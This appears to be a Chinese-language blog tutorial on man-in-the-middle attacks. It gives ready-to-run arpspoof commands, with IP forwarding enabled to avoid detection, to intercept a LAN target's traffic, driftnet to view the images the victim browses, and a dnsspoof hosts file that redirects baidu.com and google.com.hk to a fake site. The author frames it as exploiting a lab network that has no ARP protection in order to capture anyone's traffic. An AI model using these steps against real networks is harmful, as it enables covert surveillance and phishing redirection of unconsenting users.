最近搞了一個監聽神器,盡管使用了網卡混雜模式,不過監聽到的幾乎全是本地流量, 為了獲取更多有用的數據,搞一下中間人攻擊,最基本的就是arpspoof + IP轉發,這樣就可以獲得局域網內任何人的上網流量, 難得的是實驗室沒有做ARP防護,給arpspoof一個大行其道的機會。
arpspoof
-
實戰環境
-
攻擊者(kali linux):10.10.10.1
- 攻擊目標:10.10.10.2
-
默認網關:10.10.10.254
-
攻擊步驟
首先在本地開啟IP轉發,否則很容易被發覺。
echo 1 >> /proc/sys/net/ipv4/ip_forward
用man arpspoof查看參數詳細說明
首先跟10.10.10.2說我是網關10.10.10.254
arpspoof -i eth0 -t 10.10.10.2 10.10.10.254
然后跟網關10.10.10.254說我是10.10.10.2,完成雙向欺騙
arpspoof -i eth0 -t 10.10.10.254 10.10.10.2
上面兩條arpspoof指令可以用下面一個指令完成
arpspoof -i eth0 -t 10.10.10.2 -r 10.10.10.254
最后利用driftnet工具捕獲並友好地顯示10.10.10.2在網上瀏覽的圖片
driftnet -i eth0
dnsspoof
-
攻擊環境
-
攻擊者(kali linux):10.10.10.1
- 攻擊目標:10.10.10.2
- 默認網關:10.10.10.254
- DNS服務器: 8.8.8.8
-
偽造網站: 10.10.10.3
-
攻擊步驟
先進行arp欺騙,以中轉攻擊目標的所有上網流量
echo 1 >> /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.10.10.2 10.10.10.254
arpspoof -i eth0 -t 10.10.10.254 10.10.10.2
按照hosts文件格式,創建一個dnsspoof.hosts文件, 當受害者請求該文件中的域名解析時,我們就返回給他一個偽造的IP地址,讓其訪問我們偽造的網站。
cat dnsspoof.hosts
10.10.10.3 .baidu.com
10.10.10.3 .google.com.hk
執行dnsspoof, -f指定hosts文件,host 10.10.10.2 and udp port 53 遵從tcpdump流量過濾規則
dnsspoof -i eth0 -f dnsspoof.hosts host 10.10.10.2 and udp port 53
這樣當攻擊目標10.10.10.2訪問baidu.com或者google.com.hk時,受害者訪問的實際上是10.10.10.3指定的網站。
通過抓包分析,dnsspoof的原理如下
由於DNS協議使用是傳輸層協議是UDP協議, 這樣無需像TCP那樣建立連接就可以輕松的偽造應答包,包括源IP. 10.10.10.2發送DNS 查詢包問DNS服務器www.baidu.com的IP地址是多少? 10.10.10.1裝作DNS服務器(偽造IP)向攻擊目標發送一個DNS響應包說www.baidu.com的IP地址是10.10.10.3。